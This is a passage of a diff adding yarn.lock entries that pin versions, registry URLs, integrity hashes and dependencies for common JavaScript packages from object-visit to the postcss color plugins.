+object-visit@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/object-visit/-/object-visit-1.0.1.tgz#f79c4493af0c5377b59fe39d395e41042dd045bb" + integrity sha1-95xEk68MU3e1n+OdOV5BBC3QRbs= + dependencies: + isobject "^3.0.0" + +object.assign@^4.1.0, object.assign@^4.1.1, object.assign@^4.1.2: + version "4.1.2" + resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.2.tgz#0ed54a342eceb37b38ff76eb831a0e788cb63940" + integrity sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ== + dependencies: + call-bind "^1.0.0" + define-properties "^1.1.3" + has-symbols "^1.0.1" + object-keys "^1.1.1" + +object.entries@^1.1.0, object.entries@^1.1.2: + version "1.1.3" + resolved "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.3.tgz#c601c7f168b62374541a07ddbd3e2d5e4f7711a6" + integrity sha512-ym7h7OZebNS96hn5IJeyUmaWhaSM4SVtAPPfNLQEI2MYWCO2egsITb9nab2+i/Pwibx+R0mtn+ltKJXRSeTMGg== + dependencies: + call-bind "^1.0.0" + define-properties "^1.1.3" + es-abstract "^1.18.0-next.1" + has "^1.0.3" + +object.fromentries@^2.0.2: + version "2.0.4" + resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.4.tgz#26e1ba5c4571c5c6f0890cef4473066456a120b8" + integrity sha512-EsFBshs5RUUpQEY1D4q/m59kMfz4YJvxuNCJcv/jWwOJr34EaVnG11ZrZa0UHB3wnzV1wx8m58T4hQL8IuNXlQ== + dependencies: + call-bind "^1.0.2" + define-properties "^1.1.3" + es-abstract "^1.18.0-next.2" + has "^1.0.3" + +object.getownpropertydescriptors@^2.0.3, object.getownpropertydescriptors@^2.1.0: + version "2.1.2" + resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.2.tgz#1bd63aeacf0d5d2d2f31b5e393b03a7c601a23f7" + integrity sha512-WtxeKSzfBjlzL+F9b7M7hewDzMwy+C8NRssHd1YrNlzHzIDrXcXiNOMrezdAEM4UXixgV+vvnyBeN7Rygl2ttQ== + dependencies: + call-bind "^1.0.2" + define-properties "^1.1.3" + es-abstract "^1.18.0-next.2" + +object.pick@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747" + integrity sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c= + dependencies: + isobject "^3.0.1" + +object.values@^1.1.0, object.values@^1.1.1: + version "1.1.2" + resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.1.2.tgz#7a2015e06fcb0f546bd652486ce8583a4731c731" + integrity sha512-MYC0jvJopr8EK6dPBiO8Nb9mvjdypOachO5REGk6MXzujbBrAisKo3HmdEI6kZDL6fC31Mwee/5YbtMebixeag== + dependencies: + call-bind "^1.0.0" + define-properties "^1.1.3" + es-abstract "^1.18.0-next.1" + has "^1.0.3" + +obuf@^1.0.0, obuf@^1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/obuf/-/obuf-1.1.2.tgz#09bea3343d41859ebd446292d11c9d4db619084e" + integrity sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg== + +on-finished@~2.3.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947" + integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc= + dependencies: + ee-first "1.1.1" + +on-headers@~1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f" + integrity sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA== + +once@^1.3.0, once@^1.3.1, once@^1.4.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1" + integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E= + dependencies: + wrappy "1" + +onetime@^5.1.0: + version "5.1.2" + resolved "https://registry.yarnpkg.com/onetime/-/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e" + integrity sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg== + dependencies: + mimic-fn "^2.1.0" + +open@^7.0.2: + version "7.4.2" + resolved "https://registry.yarnpkg.com/open/-/open-7.4.2.tgz#b8147e26dcf3e426316c730089fd71edd29c2321" + integrity sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q== + dependencies: + is-docker "^2.0.0" + is-wsl "^2.1.1" + +opn@^5.5.0: + version "5.5.0" + resolved "https://registry.yarnpkg.com/opn/-/opn-5.5.0.tgz#fc7164fab56d235904c51c3b27da6758ca3b9bfc" + integrity sha512-PqHpggC9bLV0VeWcdKhkpxY+3JTzetLSqTCWL/z/tFIbI6G8JCjondXklT1JinczLz2Xib62sSp0T/gKT4KksA== + dependencies: + is-wsl "^1.1.0" + +optimize-css-assets-webpack-plugin@5.0.4: + version "5.0.4" + resolved "https://registry.yarnpkg.com/optimize-css-assets-webpack-plugin/-/optimize-css-assets-webpack-plugin-5.0.4.tgz#85883c6528aaa02e30bbad9908c92926bb52dc90" + integrity sha512-wqd6FdI2a5/FdoiCNNkEvLeA//lHHfG24Ln2Xm2qqdIk4aOlsR18jwpyOihqQ8849W3qu2DX8fOYxpvTMj+93A== + dependencies: + cssnano "^4.1.10" + last-call-webpack-plugin "^3.0.0" + +optionator@^0.8.1: + version "0.8.3" + resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.8.3.tgz#84fa1d036fe9d3c7e21d99884b601167ec8fb495" + integrity sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA== + dependencies: + deep-is "~0.1.3" + fast-levenshtein "~2.0.6" + levn "~0.3.0" + prelude-ls "~1.1.2" + type-check "~0.3.2" + word-wrap "~1.2.3" + +optionator@^0.9.1: + version "0.9.1" + resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.1.tgz#4f236a6373dae0566a6d43e1326674f50c291499" + integrity sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw== + dependencies: + deep-is "^0.1.3" + fast-levenshtein "^2.0.6" + levn "^0.4.1" + prelude-ls "^1.2.1" + type-check "^0.4.0" + word-wrap "^1.2.3" + +original@^1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/original/-/original-1.0.2.tgz#e442a61cffe1c5fd20a65f3261c26663b303f25f" + integrity sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg== + dependencies: + url-parse "^1.4.3" + +os-browserify@^0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/os-browserify/-/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27" + integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc= + +p-each-series@^2.1.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/p-each-series/-/p-each-series-2.2.0.tgz#105ab0357ce72b202a8a8b94933672657b5e2a9a" + integrity sha512-ycIL2+1V32th+8scbpTvyHNaHe02z0sjgh91XXjAk+ZeXoPN4Z46DVUnzdso0aX4KckKw0FNNFHdjZ2UsZvxiA== + +p-finally@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/p-finally/-/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae" + integrity sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4= + +p-limit@^1.1.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-1.3.0.tgz#b86bd5f0c25690911c7590fcbfc2010d54b3ccb8" + integrity sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q== + dependencies: + p-try "^1.0.0" + +p-limit@^2.0.0, p-limit@^2.2.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1" + integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w== + dependencies: + p-try "^2.0.0" + +p-limit@^3.0.2: + version "3.1.0" + resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b" + integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ== + dependencies: + yocto-queue "^0.1.0" + +p-locate@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-2.0.0.tgz#20a0103b222a70c8fd39cc2e580680f3dde5ec43" + integrity sha1-IKAQOyIqcMj9OcwuWAaA893l7EM= + dependencies: + p-limit "^1.1.0" + +p-locate@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4" + integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ== + dependencies: + p-limit "^2.0.0" + +p-locate@^4.1.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07" + integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A== + dependencies: + p-limit "^2.2.0" + +p-map@^2.0.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/p-map/-/p-map-2.1.0.tgz#310928feef9c9ecc65b68b17693018a665cea175" + integrity sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw== + +p-map@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/p-map/-/p-map-4.0.0.tgz#bb2f95a5eda2ec168ec9274e06a747c3e2904d2b" + integrity sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ== + dependencies: + aggregate-error "^3.0.0" + +p-retry@^3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/p-retry/-/p-retry-3.0.1.tgz#316b4c8893e2c8dc1cfa891f406c4b422bebf328" + integrity sha512-XE6G4+YTTkT2a0UWb2kjZe8xNwf8bIbnqpc/IS/idOBVhyves0mK5OJgeocjx7q5pvX/6m23xuzVPYT1uGM73w== + dependencies: + retry "^0.12.0" + +p-try@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/p-try/-/p-try-1.0.0.tgz#cbc79cdbaf8fd4228e13f621f2b1a237c1b207b3" + integrity sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M= + +p-try@^2.0.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6" + integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ== + +pako@~1.0.5: + version "1.0.11" + resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf" + integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw== + +parallel-transform@^1.1.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/parallel-transform/-/parallel-transform-1.2.0.tgz#9049ca37d6cb2182c3b1d2c720be94d14a5814fc" + integrity sha512-P2vSmIu38uIlvdcU7fDkyrxj33gTUy/ABO5ZUbGowxNCopBq/OoD42bP4UmMrJoPyk4Uqf0mu3mtWBhHCZD8yg== + dependencies: + cyclist "^1.0.1" + inherits "^2.0.3" + readable-stream "^2.1.5" + +param-case@^3.0.3: + version "3.0.4" + resolved "https://registry.yarnpkg.com/param-case/-/param-case-3.0.4.tgz#7d17fe4aa12bde34d4a77d91acfb6219caad01c5" + integrity sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A== + dependencies: + dot-case "^3.0.4" + tslib "^2.0.3" + +parent-module@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2" + integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g== + dependencies: + callsites "^3.0.0" + +parse-asn1@^5.0.0, parse-asn1@^5.1.5: + version "5.1.6" + resolved "https://registry.yarnpkg.com/parse-asn1/-/parse-asn1-5.1.6.tgz#385080a3ec13cb62a62d39409cb3e88844cdaed4" + integrity sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw== + dependencies: + asn1.js "^5.2.0" + browserify-aes "^1.0.0" + evp_bytestokey "^1.0.0" + pbkdf2 "^3.0.3" + safe-buffer "^5.1.1" + +parse-glob@^3.0.4: + version "3.0.4" + resolved "https://registry.yarnpkg.com/parse-glob/-/parse-glob-3.0.4.tgz#b2c376cfb11f35513badd173ef0bb6e3a388391c" + integrity sha1-ssN2z7EfNVE7rdFz7wu246OIORw= + dependencies: + glob-base "^0.3.0" + is-dotfile "^1.0.0" + is-extglob "^1.0.0" + is-glob "^2.0.0" + +parse-json@^2.2.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-2.2.0.tgz#f480f40434ef80741f8469099f8dea18f55a4dc9" + integrity sha1-9ID0BDTvgHQfhGkJn43qGPVaTck= + dependencies: + error-ex "^1.2.0" + +parse-json@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-4.0.0.tgz#be35f5425be1f7f6c747184f98a788cb99477ee0" + integrity sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA= + dependencies: + error-ex "^1.3.1" + json-parse-better-errors "^1.0.1" + +parse-json@^5.0.0: + version "5.2.0" + resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd" + integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg== + dependencies: + "@babel/code-frame" "^7.0.0" + error-ex "^1.3.1" + json-parse-even-better-errors "^2.3.0" + lines-and-columns "^1.1.6" + +parse5@5.1.1: + version "5.1.1" + resolved "https://registry.yarnpkg.com/parse5/-/parse5-5.1.1.tgz#f68e4e5ba1852ac2cadc00f4555fff6c2abb6178" + integrity sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug== + +parseurl@~1.3.2, parseurl@~1.3.3: + version "1.3.3" + resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4" + integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ== + +pascal-case@^3.1.2: + version "3.1.2" + resolved "https://registry.yarnpkg.com/pascal-case/-/pascal-case-3.1.2.tgz#b48e0ef2b98e205e7c1dae747d0b1508237660eb" + integrity sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g== + dependencies: + no-case "^3.0.4" + tslib "^2.0.3" + +pascalcase@^0.1.1: + version "0.1.1" + resolved "https://registry.yarnpkg.com/pascalcase/-/pascalcase-0.1.1.tgz#b363e55e8006ca6fe21784d2db22bd15d7917f14" + integrity sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ= + +path-browserify@0.0.1: + version "0.0.1" + resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-0.0.1.tgz#e6c4ddd7ed3aa27c68a20cc4e50e1a4ee83bbc4a" + integrity sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ== + +path-dirname@^1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/path-dirname/-/path-dirname-1.0.2.tgz#cc33d24d525e099a5388c0336c6e32b9160609e0" + integrity sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA= + +path-exists@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515" + integrity sha1-zg6+ql94yxiSXqfYENe1mwEP1RU= + +path-exists@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3" + integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== + +path-is-absolute@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f" + integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18= + +path-is-inside@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/path-is-inside/-/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53" + integrity sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM= + +path-key@^2.0.0, path-key@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40" + integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A= + +path-key@^3.0.0, path-key@^3.1.0: + version "3.1.1" + resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375" + integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q== + +path-parse@^1.0.6: + version "1.0.6" + resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.6.tgz#d62dbb5679405d72c4737ec58600e9ddcf06d24c" + integrity sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw== + +path-to-regexp@0.1.7: + version "0.1.7" + resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c" + integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w= + +path-type@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/path-type/-/path-type-2.0.0.tgz#f012ccb8415b7096fc2daa1054c3d72389594c73" + integrity sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM= + dependencies: + pify "^2.0.0" + +path-type@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/path-type/-/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b" + integrity sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw== + +pbkdf2@^3.0.3: + version "3.1.1" + resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.1.tgz#cb8724b0fada984596856d1a6ebafd3584654b94" + integrity sha512-4Ejy1OPxi9f2tt1rRV7Go7zmfDQ+ZectEQz3VGUQhgq62HtIRPDyG/JtnwIxs6x3uNMwo2V7q1fMvKjb+Tnpqg== + dependencies: + create-hash "^1.1.2" + create-hmac "^1.1.4" + ripemd160 "^2.0.1" + safe-buffer "^5.0.1" + sha.js "^2.4.8" + +performance-now@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b" + integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns= + +picomatch@^2.0.4, picomatch@^2.0.5, picomatch@^2.2.1, picomatch@^2.2.2: + version "2.2.2" + resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.2.2.tgz#21f333e9b6b8eaff02468f5146ea406d345f4dad" + integrity sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg== + +pify@^2.0.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c" + integrity sha1-7RQaasBDqEnqWISY59yosVMw6Qw= + +pify@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/pify/-/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231" + integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g== + +pinkie-promise@^2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/pinkie-promise/-/pinkie-promise-2.0.1.tgz#2135d6dfa7a358c069ac9b178776288228450ffa" + integrity sha1-ITXW36ejWMBprJsXh3YogihFD/o= + dependencies: + pinkie "^2.0.0" + +pinkie@^2.0.0: + version "2.0.4" + resolved "https://registry.yarnpkg.com/pinkie/-/pinkie-2.0.4.tgz#72556b80cfa0d48a974e80e77248e80ed4f7f870" + integrity sha1-clVrgM+g1IqXToDnckjoDtT3+HA= + +pirates@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.1.tgz#643a92caf894566f91b2b986d2c66950a8e2fb87" + integrity sha512-WuNqLTbMI3tmfef2TKxlQmAiLHKtFhlsCZnPIpuv2Ow0RDVO8lfy1Opf4NUzlMXLjPl+Men7AuVdX6TA+s+uGA== + dependencies: + node-modules-regexp "^1.0.0" + +pkg-dir@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-2.0.0.tgz#f6d5d1109e19d63edf428e0bd57e12777615334b" + integrity sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s= + dependencies: + find-up "^2.1.0" + +pkg-dir@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-3.0.0.tgz#2749020f239ed990881b1f71210d51eb6523bea3" + integrity sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw== + dependencies: + find-up "^3.0.0" + +pkg-dir@^4.1.0, pkg-dir@^4.2.0: + version "4.2.0" + resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3" + integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ== + dependencies: + find-up "^4.0.0" + +pkg-up@3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5" + integrity sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA== + dependencies: + find-up "^3.0.0" + +pnp-webpack-plugin@1.6.4: + version "1.6.4" + resolved "https://registry.yarnpkg.com/pnp-webpack-plugin/-/pnp-webpack-plugin-1.6.4.tgz#c9711ac4dc48a685dabafc86f8b6dd9f8df84149" + integrity sha512-7Wjy+9E3WwLOEL30D+m8TSTF7qJJUJLONBnwQp0518siuMxUQUbgZwssaFX+QKlZkjHZcw/IpZCt/H0srrntSg== + dependencies: + ts-pnp "^1.1.6" + +portfinder@^1.0.26: + version "1.0.28" + resolved "https://registry.yarnpkg.com/portfinder/-/portfinder-1.0.28.tgz#67c4622852bd5374dd1dd900f779f53462fac778" + integrity sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA== + dependencies: + async "^2.6.2" + debug "^3.1.1" + mkdirp "^0.5.5" + +posix-character-classes@^0.1.0: + version "0.1.1" + resolved "https://registry.yarnpkg.com/posix-character-classes/-/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab" + integrity sha1-AerA/jta9xoqbAL+q7jB/vfgDqs= + +postcss-attribute-case-insensitive@^4.0.1: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-4.0.2.tgz#d93e46b504589e94ac7277b0463226c68041a880" + integrity sha512-clkFxk/9pcdb4Vkn0hAHq3YnxBQ2p0CGD1dy24jN+reBck+EWxMbxSUqN4Yj7t0w8csl87K6p0gxBe1utkJsYA== + dependencies: + postcss "^7.0.2" + postcss-selector-parser "^6.0.2" + +postcss-browser-comments@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/postcss-browser-comments/-/postcss-browser-comments-3.0.0.tgz#1248d2d935fb72053c8e1f61a84a57292d9f65e9" + integrity sha512-qfVjLfq7HFd2e0HW4s1dvU8X080OZdG46fFbIBFjW7US7YPDcWfRvdElvwMJr2LI6hMmD+7LnH2HcmXTs+uOig== + dependencies: + postcss "^7" + +postcss-calc@^7.0.1: + version "7.0.5" + resolved "https://registry.yarnpkg.com/postcss-calc/-/postcss-calc-7.0.5.tgz#f8a6e99f12e619c2ebc23cf6c486fdc15860933e" + integrity sha512-1tKHutbGtLtEZF6PT4JSihCHfIVldU72mZ8SdZHIYriIZ9fh9k9aWSppaT8rHsyI3dX+KSR+W+Ix9BMY3AODrg== + dependencies: + postcss "^7.0.27" + postcss-selector-parser "^6.0.2" + postcss-value-parser "^4.0.2" + +postcss-color-functional-notation@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/postcss-color-functional-notation/-/postcss-color-functional-notation-2.0.1.tgz#5efd37a88fbabeb00a2966d1e53d98ced93f74e0" + integrity sha512-ZBARCypjEDofW4P6IdPVTLhDNXPRn8T2s1zHbZidW6rPaaZvcnCS2soYFIQJrMZSxiePJ2XIYTlcb2ztr/eT2g== + dependencies: + postcss "^7.0.2" + postcss-values-parser "^2.0.0" + +postcss-color-gray@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/postcss-color-gray/-/postcss-color-gray-5.0.0.tgz#532a31eb909f8da898ceffe296fdc1f864be8547" + integrity sha512-q6BuRnAGKM/ZRpfDascZlIZPjvwsRye7UDNalqVz3s7GDxMtqPY6+Q871liNxsonUw8oC61OG+PSaysYpl1bnw== + dependencies: + "@csstools/convert-colors" "^1.4.0" + postcss "^7.0.5" + postcss-values-parser "^2.0.0" + +postcss-color-hex-alpha@^5.0.3: + version "5.0.3" + resolved "https://registry.yarnpkg.com/postcss-color-hex-alpha/-/postcss-color-hex-alpha-5.0.3.tgz#a8d9ca4c39d497c9661e374b9c51899ef0f87388" + integrity sha512-PF4GDel8q3kkreVXKLAGNpHKilXsZ6xuu+mOQMHWHLPNyjiUBOr75sp5ZKJfmv1MCus5/DWUGcK9hm6qHEnXYw== + dependencies: + postcss "^7.0.14" + postcss-values-parser "^2.0.1" + +postcss-color-mod-function@^3.0.3: + version "3.0.3" + resolved 